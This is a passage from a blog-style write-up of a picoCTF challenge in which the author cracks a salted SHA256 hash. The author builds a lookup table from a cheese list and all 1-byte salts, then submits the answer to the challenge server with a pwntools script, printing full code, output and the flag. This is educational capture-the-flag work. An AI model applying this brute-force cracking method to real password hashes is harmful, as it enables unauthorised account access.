type of attack was what this challenge was designed for.</p><p>Honestly, this problem would’ve been super simple if the actual rainbow table was provided, because then, I would just need to read the file and find a match with the given hash. But it wasn’t that easy. Instead, the problem provided a list of actual cheese types in original text. My task was to create the rainbow table from these text values, and then, use it to find a match. The hard part was creating the rainbow table which would have to be <strong>brute forced</strong>, i.e. figuring out all the different ways that the original text could be hashed. To make matters worse, the given hash was salted, meaning that the original text had some random gibberish characters before being hashed. Applying salt was a common cybersecurity practice to make <em>rainbow table attacks</em> more difficult.</p><p>Fortunately, our challenge provided a clue: “… <em>exactly 2 nibbles of hexadecimal-character salt!” </em>1 nibble was 4 bits and 2 nibbles were 8 bits, which was 1 byte. This meant that the original text included a salt that was exactly <em>0x00</em> byte length, i.e. <em>0x00, 0x01, 0x02, 0x2e, 0xff,</em> etc. While this made it a bit easier, the <strong>brute force</strong> method of testing out all combinations of hashing still seemed like a tedious task that could take ages.</p><p>In any case, although it wasn’t a “cryptography” problem that I was looking forward to, I felt that I had a duty to complete this because I had completed the prequel. It was kind of like needing to watch the sequel of a movie series even though I knew I wasn’t going to enjoy it much, but just because I already watched the first one.</p><p>Thankfully, though, this challenge turned out to be alright in the end. I was glad I did it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWh4mTHnn3f5Aezvn0DeQQ.jpeg" /></figure><blockquote><strong>The solution</strong></blockquote><p>I opened up the Webshell and connected to the sever using <em>netcat</em>. This time, there was no <em>(e)ncryption</em> option. Only the <em>(g)uessing</em> option was available in which I had to enter the correct cheese from the provided <em>cheese_list.txt,</em> and the correct salt. The given hash would change on every run which meant that I needed to solve the problem in one go. So, I decided to use <em>pwntools</em> in Python instead of solving it directly on the Webshell. I used Python to do most of the calculations, anyway, so it just made sense.</p><pre># Running the program on the server via netcat.<br>nc verbal-sleep.picoctf.net 58138<br><br>*******************************************<br>***             Part 2                  ***<br>***    The Mystery of the CLONED RAT    ***<br>*******************************************<br><br>DRAT! The evil Dr. Lacktoes Inn Tolerant&#39;s clone was able to guess the cheese last time! I guess simple ciphers aren&#39;t good hashing methods. But now I&#39;ve strengthened my encryption scheme so that now ONLY SQUEEXY can guess it...<br><br>Here&#39;s my secret cheese -- if you&#39;re Squeexy, you&#39;ll be able to guess it:  294b36295e707ace52bf4f99fd0285f521e013ac94498fdb9c31e6190a999f59<br><br>Commands: (g)uess my cheese<br>What would you like to do?<br>g<br><br>   _   _<br>  (q\_/p)<br>   /. .\.-.....-.     ___,<br>  =\_t_/=     /  `\  (<br>    )\ ))__ __\   |___)<br>   (/-(/`  `nn---&#39;<br><br>SQUEAK SQUEAK SQUEAK<br><br>         _   _<br>        (q\_/p)<br>         /. .\        <br>  ,__   =\_t_/=   <br>     )   /   \      <br>    (   ((   ))   <br>     \  /\) (/\    <br>      `-\  Y  /    <br>         nn^nn<br><br>Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?<br>Remember, this is my encrypted cheese:  294b36295e707ace52bf4f99fd0285f521e013ac94498fdb9c31e6190a999f59<br><br>So...what&#39;s my cheese?<br>I don&#39;t know yet<br><br>Annnnd...what&#39;s my salt?<br>Don&#39;t know that either<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))    /O_.-&#39;  O |  <br>     \  /\) (/\    | o   o  o|   <br>      `-\  Y  /    |o   o O.-`  <br>         nn^nn     | O _.-&#39;      <br>                   &#39;--`         <br><br>munch...<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))      ).-&#39;  O |  <br>     \  /\) (/\      )   o  o|   <br>      `-\  Y  /    |o   o O.-`  <br>         nn^nn     | O _.-&#39;      <br>                   &#39;--`         <br><br>munch...<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))        )&#39;  O |  <br>     \  /\) (/\          )  o|   <br>      `-\  Y  /         ) O.-`  <br>         nn^nn        ) _.-&#39;      <br>                   &#39;--`         <br><br>MUNCH.............<br><br><br>         _   _<br>        (q\_/p)<br>         /.V.\        <br>  ,__   =\_t_/=   <br>     )   /   \      <br>    (   ((   ))   <br>     \  /\) (/\    <br>      `-\  Y  /    <br>         nn^nn<br><br>BLEHHHHH yuck. THAT&#39;S not my cheese. GET OUT CLONE!!!1111!!!1!!!</pre><p>First, I downloaded the <em>cheese_list.txt</em> file and made sure that it was in the same directory as my Python program file. I had a general idea of how my code should be written, so I began with the below, which accomplished basic input / output to and from the server and going through each cheese from the <em>cheese_list.txt</em>, hashing it, and then, comparing it to the given hash.</p><pre># Python program<br><br>from pwn import *<br>import hashlib<br><br>def sha256_hash(text):<br>    # This function hashes the text and salt into sha256.<br>    ...<br><br>def main():<br>    # Defining HOST and PORT of the server.<br>    HOST = &#39;verbal-sleep.picoctf.net&#39;<br>    PORT = 58138<br><br>    # Connecting to the server.<br>    s = remote(HOST, PORT)<br><br>    # Getting response after connection made.<br>    res = s.recvrepeat(timeout=1).decode()<br>    print(res)<br><br>    # Extracting the given hash.<br>    index_1 = res.find(&#39;it:&#39;)<br>    index_2 = res.find(&#39;Commands:&#39;)<br>    given_hash = res[index_1+5:index_2-2]<br>    print(&quot;The given hash is:\n&quot; + given_hash)<br>    print()<br><br>    # Reading cheese_list file and extracting it as a list.<br>    with open(&#39;cheese_list.txt&#39;, &#39;r&#39;) as f:<br>        cheese_list = f.read().split(&#39;\n&#39;)<br><br>    # Removing the last blank entry.<br>    cheese_list = cheese_list[:len(cheese_list)-1]<br><br>    # Going through the items in cheese_list and hashing them with sha256_hash() function.<br>    matched_cheese = None<br>    for i in cheese_list:<br>        hashed = sha256_hash(i)<br>        if given_hash in hashed.keys():<br>            matched_cheese = i<br>            salt = hashed[given_hash]<br>            print(&quot;Match found:&quot;, i)<br>            print(&quot;Salt:&quot;, salt)<br>            break<br>        else:<br>            continue<br><br>    #print(hashed)<br>    <br>    if matched_cheese is None:<br>        # Closing connection to server since no match found.<br>        print(&quot;No match found...&quot;)<br>        s.close()<br>    else:<br>        # Enter &#39;g&#39; to guess.<br>        s.sendline(b&#39;g&#39;)<br>        print(&quot;g&quot;)<br>        res = s.recvrepeat(timeout=1).decode()<br>        print(res)<br><br>        # Enter matched cheese type.<br>        s.sendline(matched_cheese.encode())<br>        print(matched_cheese)<br>        res = s.recvrepeat(timeout=1).decode()<br>        print(res)<br><br>        # Enter salt. It seems that program only accepts salt as hex string value.<br>        # If salt is already in hex string value, then just encode into byte type, then send. <br>        # If not, convert to hex string value, then encode into byte type, then send.<br>        try:<br>            s.sendline(salt.encode())<br>            print(salt)<br>        except AttributeError:<br>            s.sendline(salt.hex().encode())<br>            print(salt.hex())<br>            pass<br><br>        res = s.recvrepeat(timeout=1).decode()<br>        print(res)<br><br>        # Closing connection to server.<br>        s.close()<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Next, I defined the <em>sha256_hash()</em> function, which would create a rainbow table of the possible ways each cheese from the <em>cheese_list.txt</em> could be hashed <em>(in Python dictionary data structure)</em>.</p><p>Through the hint that the salt used was exactly 2 nibbles, or 1 byte, of hex characters, I made sure to test out each byte from <em>0x00</em> to <em>0xff</em>, which was 0 to 255 in decimal values. In hexadecimal format, a number had a base of 16 instead of 10. So, while our decimal number system would go from 0 to 9, and then recount from 0 in the form of 10 to 19, then 20 to 29, and so on, the hexadecimal number system would go from <em>0</em> to <em>f</em>, i.e. <em>0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f,</em> and then recount from 0 in the form of <em>10</em> to <em>1f</em>, <em>20 </em>to<em> 2f, 30 </em>to<em> 3f,</em> and so on.</p><p><em>a</em> = ten, <em>b</em> = eleven, <em>c</em> = twelve, <em>d</em> = thirteen, <em>e</em> = fourteen, and <em>f</em> = fifteen.</p><p>For reference, below is the full conversion table from decimal to hexadecimal to binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*Y2so0zBoqpeKDcj-tK1xTQ.png" /></figure><p>And the hint stated that the salt was exactly 1-byte long, so it needed to be <em>00, 01, 02, 03,</em> …, <em>ff, </em>instead of<em> 0, 1, 2, 3, …, ff</em>.</p><p>After defining the salt, I prepended the salt to the original text, and then hashed the value in SHA256 via the <em>hashlib</em> library.</p><pre># Python program continued...<br><br>...<br><br>def sha256_hash(text):<br>    # This function hashes the text and salt into sha256.<br>    # Returns a dictionary of possible hash-salt pairs.<br>    hash_dict = {}<br>    <br>    # 2 nibbles of hexadecimal-character is 1-byte length, which is 256 possible values.<br>    # 0x00, 0x01, 0x02, ... , 0x1a, ..., 0xff.<br>    for i in range(256):<br>        # Salt in exactly 1-byte hex value, e.g. 00 not 0.<br>        salt_hex = f&quot;{i:02x}&quot;<br><br>        # Hashing salt_hex then text (original text).<br>        hash = hashlib.sha256((salt_hex + text).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>    return hash_dict<br><br>...</pre><p>I ran the full code, but the there wasn’t any match.</p><pre># Initial output from the Python program.<br><br>*******************************************<br>***             Part 2                  ***<br>***    The Mystery of the CLONED RAT    ***<br>*******************************************<br><br>DRAT! The evil Dr. Lacktoes Inn Tolerant&#39;s clone was able to guess the cheese last time! I guess simple ciphers aren&#39;t good hashing methods. But now I&#39;ve strengthened my encryption scheme so that now ONLY SQUEEXY can guess it...<br><br>Here&#39;s my secret cheese -- if you&#39;re Squeexy, you&#39;ll be able to guess it:  cb1e79f7cc7e663089436985b2554f261dfcbaac8988da8e7647a2af06d3b522<br><br>Commands: (g)uess my cheese<br>What would you like to do?<br><br>The given hash is:<br>cb1e79f7cc7e663089436985b2554f261dfcbaac8988da8e7647a2af06d3b522<br><br>No match found...<br>[*] Closed connection to verbal-sleep.picoctf.net port 58138</pre><p>So, I tried adding more combinations of hash values into the rainbow table.</p><pre># Python program continued...<br><br>...<br><br>def sha256_hash(text):<br>    # This function hashes the text and salt into sha256.<br>    # Returns a dictionary of possible hash-salt pairs.<br>    hash_dict = {}<br><br>    # 2 nibbles of hexadecimal-character is 1-byte length, which is 256 possible values.<br>    # 0x00, 0x01, 0x02, ... , 0x1a, ..., 0xff.<br>    for i in range(256):<br>        # Salt in 1-byte hex value.<br>        salt_hex = f&quot;{i:02x}&quot;    # hex(i) can&#39;t be used here because it must be exactly 1-byte long, e.g. 00 not 0.<br><br>        # Hashing salt_hex then text (original text).<br>        hash = hashlib.sha256((salt_hex + text).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex (original text).<br>        hash = hashlib.sha256((text + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all uppercase text.<br>        hash = hashlib.sha256((salt_hex + text.upper()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all uppercase text.<br>        hash = hashlib.sha256((text.upper() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all lowercase text.<br>        hash = hashlib.sha256((salt_hex + text.lower()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all lowercase text.<br>        hash = hashlib.sha256((text.lower() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>    return hash_dict<br><br>...</pre><p>So far, the different combinations I tried were prepending and appending salt to the original text in its original form, all uppercase, and all lowercase, but still had no luck in finding a match. So, I tried a few more.</p><pre># Python program continued...<br><br>...<br><br>def sha256_hash(text):<br>    <br>    ...<br>        # Still no luck... Maybe salt is in between letters?<br><br>        # Hashing with salt in between letters of text (original text).<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((text[:i+1] + salt_hex + text[i+1:]).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all uppercase text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((text[:i+1].upper() + salt_hex + text[i+1:].upper()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all lowercase text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((text[:i+1].lower() + salt_hex + text[i+1:].lower()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br>    <br>    return hash_dict<br><br>...</pre><p>I tried adding the salt in between the original text in its original form, all uppercase, and all lowercase, but still had no luck. So, I kept trying more combinations.</p><pre># Python program continued...<br><br>...<br><br>def sha256_hash(text):<br>    <br>    ...<br>        # Still no luck... Maybe there shouldn&#39;t be any spaces in between text?<br>        <br>        # Hashing salt_hex then text with no spaces in between text.<br>        hash = hashlib.sha256((salt_hex + &#39;&#39;.join(text.split())).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with no spaces in between text.<br>        hash = hashlib.sha256((&#39;&#39;.join(text.split()) + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all uppercase text with no spaces in between text.<br>        hash = hashlib.sha256((salt_hex + &#39;&#39;.join(text.split()).upper()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all uppercase text with no spaces in between text.<br>        hash = hashlib.sha256((&#39;&#39;.join(text.split()).upper() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all lowercase text with no spaces in between text.<br>        hash = hashlib.sha256((salt_hex + &#39;&#39;.join(text.split()).lower()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all lowercase text with no spaces in between text.<br>        hash = hashlib.sha256((&#39;&#39;.join(text.split()).lower() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with no spaces in between text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((&#39;&#39;.join(text.split())[:i+1] + salt_hex + &#39;&#39;.join(text.split())[i+1:]).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all uppercase text with no spaces in between text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((&#39;&#39;.join(text.split())[:i+1].upper() + salt_hex + &#39;&#39;.join(text.split())[i+1:].upper()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all lowercase text with no spaces in between text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((&#39;&#39;.join(text.split())[:i+1].lower() + salt_hex + &#39;&#39;.join(text.split())[i+1:].lower()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br>    <br>    return hash_dict<br><br>...</pre><p>I tried eliminating any in-between spaces in the original text and tried the same pattern again, i.e. prepending and appending salt to the original text, all uppercase, and all lowercase. But STILL had no luck!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOyQ9RXRLgKt9uhM99s6tQ.jpeg" /></figure><p>Then, I thought about other possible ways that I could hash the original text, and recalled that the hexadecimal characters could also be represented as byte strings. So far, salts I’ve been using were hex values as string types in which I would first concatenate the hex strings to the original text, then encode it as byte strings, and then hash it with SHA256.</p><p>But another way I could add salt was by concatenating the hex value as a byte string type. For example, I could convert the original text into byte string first, i.e. <em>original_text.encode()</em>, and then concatenate the salt in byte string, and then hash the whole thing with SHA256. Something like <em>hashlib.sha256(original_text.encode() + salt_byte).hexdigest()</em>. The salt as a byte string would be like <em>\x00, \x01, \xff,</em> etc. So, I tried the same combinations as above but with the salt as byte strings this time.</p><pre># Python program continued...<br><br>...<br><br>def sha256_hash(text):<br>    <br>    ...<br>        <br>        # Still no luck... Maybe salt needs to be in a different format than hex string?<br>        <br>        # Alternate salt format: byte string format.<br>        salt_byte = bytes.fromhex(salt_hex)<br>        <br>        # Hashing salt_byte then text (original text).<br>        hash = hashlib.sha256(salt_byte + text.encode()).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing text then salt_byte (original text).<br>        hash = hashlib.sha256(text.encode() + salt_byte).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing salt_byte then text with all uppercase text.<br>        hash = hashlib.sha256(salt_byte + text.upper().encode()).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing text then salt_byte with all uppercase text.<br>        hash = hashlib.sha256(text.upper().encode() + salt_byte).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing salt_byte then text with all lowercase text.<br>        hash = hashlib.sha256(salt_byte + text.lower().encode()).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing text then salt_byte with all lowercase text. The winning hash method.<br>        hash = hashlib.sha256(text.lower().encode() + salt_byte).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>    return hash_dict<br><br>...</pre><p>The winning hash method happened to be the one in which the byte string salt would be appended to the original text as all lowercase!</p><pre># Output<br><br>*******************************************<br>***             Part 2                  ***<br>***    The Mystery of the CLONED RAT    ***<br>*******************************************<br><br>DRAT! The evil Dr. Lacktoes Inn Tolerant&#39;s clone was able to guess the cheese last time! I guess simple ciphers aren&#39;t good hashing methods. But now I&#39;ve strengthened my encryption scheme so that now ONLY SQUEEXY can guess it...<br><br>Here&#39;s my secret cheese -- if you&#39;re Squeexy, you&#39;ll be able to guess it:  e3952e759d38560402776738244695da9783587a9b2300be6f09facbc545af78<br><br>Commands: (g)uess my cheese<br>What would you like to do?<br><br>The given hash is:<br>e3952e759d38560402776738244695da9783587a9b2300be6f09facbc545af78<br><br>Match found: Mascarpone Torta<br>Salt: b&#39;&quot;&#39;<br>g<br><br>   _   _<br>  (q\_/p)<br>   /. .\.-.....-.     ___,<br>  =\_t_/=     /  `\  (<br>    )\ ))__ __\   |___)<br>   (/-(/`  `nn---&#39;<br><br>SQUEAK SQUEAK SQUEAK<br><br>         _   _<br>        (q\_/p)<br>         /. .\        <br>  ,__   =\_t_/=   <br>     )   /   \      <br>    (   ((   ))   <br>     \  /\) (/\    <br>      `-\  Y  /    <br>         nn^nn<br><br>Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?<br>Remember, this is my encrypted cheese:  e3952e759d38560402776738244695da9783587a9b2300be6f09facbc545af78<br>So...what&#39;s my cheese?<br><br>Mascarpone Torta<br>Annnnd...what&#39;s my salt?<br><br>22<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))    /O_.-&#39;  O |  <br>     \  /\) (/\    | o   o  o|   <br>      `-\  Y  /    |o   o O.-`  <br>         nn^nn     | O _.-&#39;      <br>                   &#39;--`         <br><br>munch...<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))      ).-&#39;  O |  <br>     \  /\) (/\      )   o  o|   <br>      `-\  Y  /    |o   o O.-`  <br>         nn^nn     | O _.-&#39;      <br>                   &#39;--`         <br><br>munch...<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))        )&#39;  O |  <br>     \  /\) (/\          )  o|   <br>      `-\  Y  /         ) O.-`  <br>         nn^nn        ) _.-&#39;      <br>                   &#39;--`         <br><br>MUNCH.............<br><br>YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That&#39;s my cheese!<br>Here&#39;s the password to the cloning room:  picoCTF{cHeEsYaf31a5c0}<br><br>[*] Closed connection to verbal-sleep.picoctf.net port 58138</pre><p><strong>Flag:</strong> <em>picoCTF{cHeEsYaf31a5c0}</em></p><p>As a side note, the salt was <em>“</em> which would be <em>0x22</em> in hex string format. <em>“</em> could also be written as <em>\x22</em>. Both <em>“</em> and <em>\x22</em> would be considered byte string format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WW3Skj11RHXDKqRDJbyFmA.jpeg" /></figure><p>Below was the complete program:</p><pre># The Complete Python Program<br><br>from pwn import *<br>import hashlib<br><br>def sha256_hash(text):<br>    # This function hashes the text and salt into sha256.<br>    # Returns a dictionary of possible hash-salt pairs.<br>    hash_dict = {}<br><br>    # 2 nibbles of hexadecimal-character is 1-byte length, which is 256 possible values.<br>    # 0x00, 0x01, 0x02, ... , 0x1a, ..., 0xff.<br>    for i in range(256):<br>        # Salt in 1-byte hex value.<br>        salt_hex = f&quot;{i:02x}&quot;    # hex(i) can&#39;t be used here because it must be exactly 1-byte long, e.g. 00 not 0.<br><br>        # Hashing salt_hex then text (original text).<br>        hash = hashlib.sha256((salt_hex + text).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex (original text).<br>        hash = hashlib.sha256((text + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all uppercase text.<br>        hash = hashlib.sha256((salt_hex + text.upper()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all uppercase text.<br>        hash = hashlib.sha256((text.upper() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all lowercase text.<br>        hash = hashlib.sha256((salt_hex + text.lower()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all lowercase text.<br>        hash = hashlib.sha256((text.lower() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        <br>        # Still no luck... Maybe salt is in between letters?<br>        <br>        # Hashing with salt in between letters of text (original text).<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((text[:i+1] + salt_hex + text[i+1:]).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all uppercase text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((text[:i+1].upper() + salt_hex + text[i+1:].upper()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all lowercase text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((text[:i+1].lower() + salt_hex + text[i+1:].lower()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        <br>        # Still no luck... Maybe there shouldn&#39;t be any spaces in between text?<br>        <br>        # Hashing salt_hex then text with no spaces in between text.<br>        hash = hashlib.sha256((salt_hex + &#39;&#39;.join(text.split())).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with no spaces in between text.<br>        hash = hashlib.sha256((&#39;&#39;.join(text.split()) + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all uppercase text with no spaces in between text.<br>        hash = hashlib.sha256((salt_hex + &#39;&#39;.join(text.split()).upper()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all uppercase text with no spaces in between text.<br>        hash = hashlib.sha256((&#39;&#39;.join(text.split()).upper() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing salt_hex then text with all lowercase text with no spaces in between text.<br>        hash = hashlib.sha256((salt_hex + &#39;&#39;.join(text.split()).lower()).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing text then salt_hex with all lowercase text with no spaces in between text.<br>        hash = hashlib.sha256((&#39;&#39;.join(text.split()).lower() + salt_hex).encode()).hexdigest()<br>        hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with no spaces in between text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((&#39;&#39;.join(text.split())[:i+1] + salt_hex + &#39;&#39;.join(text.split())[i+1:]).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all uppercase text with no spaces in between text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((&#39;&#39;.join(text.split())[:i+1].upper() + salt_hex + &#39;&#39;.join(text.split())[i+1:].upper()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br>        # Hashing with salt in between letters of text with all lowercase text with no spaces in between text.<br>        for i in range(len(text)-1):<br>            hash = hashlib.sha256((&#39;&#39;.join(text.split())[:i+1].lower() + salt_hex + &#39;&#39;.join(text.split())[i+1:].lower()).encode()).hexdigest()<br>            hash_dict[hash] = salt_hex<br><br><br>        # Still no luck... Maybe salt needs to be in different format then hex string?<br>        <br>        # Alternate salt format: byte string format.<br>        salt_byte = bytes.fromhex(salt_hex)<br>        <br>        # Hashing salt_byte then text (original text).<br>        hash = hashlib.sha256(salt_byte + text.encode()).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing text then salt_byte (original text).<br>        hash = hashlib.sha256(text.encode() + salt_byte).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing salt_byte then text with all uppercase text.<br>        hash = hashlib.sha256(salt_byte + text.upper().encode()).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing text then salt_byte with all uppercase text.<br>        hash = hashlib.sha256(text.upper().encode() + salt_byte).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing salt_byte then text with all lowercase text.<br>        hash = hashlib.sha256(salt_byte + text.lower().encode()).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # Hashing text then salt_byte with all lowercase text. The winning hash method.<br>        hash = hashlib.sha256(text.lower().encode() + salt_byte).hexdigest()<br>        hash_dict[hash] = salt_byte<br><br>        # The given hash was in the format of appended salt_byte with all lowercase text!<br><br>    return hash_dict<br><br>def main():<br>    # Defining HOST and PORT of the server.<br>    HOST = &#39;verbal-sleep.picoctf.net&#39;<br>    PORT = 58138<br><br>    # Connecting to the server.<br>    s = remote(HOST, PORT)<br><br>    # Getting response after connection made.<br>    res = s.recvrepeat(timeout=1).decode()<br>    print(res)<br><br>    # Extracting the given hash.<br>    index_1 = res.find(&#39;it:&#39;)<br>    index_2 = res.find(&#39;Commands:&#39;)<br>    given_hash = res[index_1+5:index_2-2]<br>    print(&quot;The given hash is:\n&quot; + given_hash)<br>    print()<br><br>    # Reading cheese_list file and extracting it as a list.<br>    with open(&#39;cheese_list.txt&#39;, &#39;r&#39;) as f:<br>        cheese_list = f.read().split(&#39;\n&#39;)<br><br>    # Removing the last blank entry.<br>    cheese_list = cheese_list[:len(cheese_list)-1]<br><br>    # Going through the items in cheese_list and hashing them with sha256_hash() function.<br>    matched_cheese = None<br>    for i in cheese_list:<br>        hashed = sha256_hash(i)<br>        if given_hash in hashed.keys():<br>            matched_cheese = i<br>            salt = hashed[given_hash]<br>            print(&quot;Match found:&quot;, i)<br>            print(&quot;Salt:&quot;, salt)<br>            break<br>        else:<br>            continue<br><br>    #print(hashed)<br>    <br>    if matched_cheese is None:<br>        # Closing connection to server since no match found.<br>        print(&quot;No match found...&quot;)<br>        s.close()<br>    else:<br>        # Enter &#39;g&#39; to guess.<br>        s.sendline(b&#39;g&#39;)<br>        print(&quot;g&quot;)<br>        res = s.recvrepeat(timeout=1).decode()<br>        print(res)<br><br>        # Enter matched cheese type.<br>        s.sendline(matched_cheese.encode())<br>        print(matched_cheese)<br>        res = s.recvrepeat(timeout=1).decode()<br>        print(res)<br><br>        # Enter salt. It seems that program only accepts salt as hex string value.<br>        # If salt is already in hex string value, then just encode into byte type, then send. <br>        # If not, convert to hex string value, then encode into byte type, then send.<br>        try:<br>            s.sendline(salt.encode())<br>            print(salt)<br>        except AttributeError:<br>            s.sendline(salt.hex().encode())<br>            print(salt.hex())<br>            pass<br>            <br>        res = s.recvrepeat(timeout=1).decode()<br>        print(res)<br><br>        # Closing connection to server.<br>        s.close()<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><blockquote><strong>Further combinations I would’ve tried if I still did not find the flag</strong></blockquote><p>If my last combination still did not find a match, I would’ve tried combinations with different encoding methods. The <em>.encode()</em>, by default, encoded a string value as UTF-8. In other words, <em>.encode() = .encode(‘utf-8’)</em>. I would’ve tried <em>.encode(‘utf-16’)</em>, <em>.encode(‘utf-32’)</em>, and <em>.encode(‘ascii’)</em>.</p><p>If that STILL didn’t work, I would’ve separated out the strings in parentheses in the <em>cheese_list.txt file </em>as some cheese values had an appended string inside parentheses. For example, for <em>Dutch Mimolette (Commissiekaas),</em> I would’ve tried removing <em>(Commissiekaas), </em>and then trying the hashing, again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XPVEa6_x8NW2tZpcGloNBg.jpeg" /></figure><blockquote><strong>Reflection</strong></blockquote><p>This problem presented a case where persistence could eventually break a system. It reminded me of the villain in <em>The Cuckoo’s Egg</em> by Cliff Stoll, who demonstrated persistence in his attempts to break in. The villain kept trying tried-and-true techniques such as default manufacturer credentials that would grant admin access. He also had a dictionary of precomputed hashed values, similar to a rainbow table, where stealing hashed passwords would be enough to gain further access to sensitive data. Tackling this problem gave me some insight into the mindset of an attacker.</p><p>More than anything, it seemed like malicious hackers shared a key trait: persistence. Some might be skilled in figuring things out quickly, efficient in coding an exploit, or innovative in devising new ways to break in, but persistence appeared to be the defining attribute of a truly dangerous hacker.</p><p>As a cybersecurity professional, I began to realize the importance of considering whether a system could break due to sheer persistence. As shown by this challenge, even a robust hashing algorithm like SHA256 could be vulnerable if the original text was a common word or phrase. I came to understand the critical importance of using a “strong” password 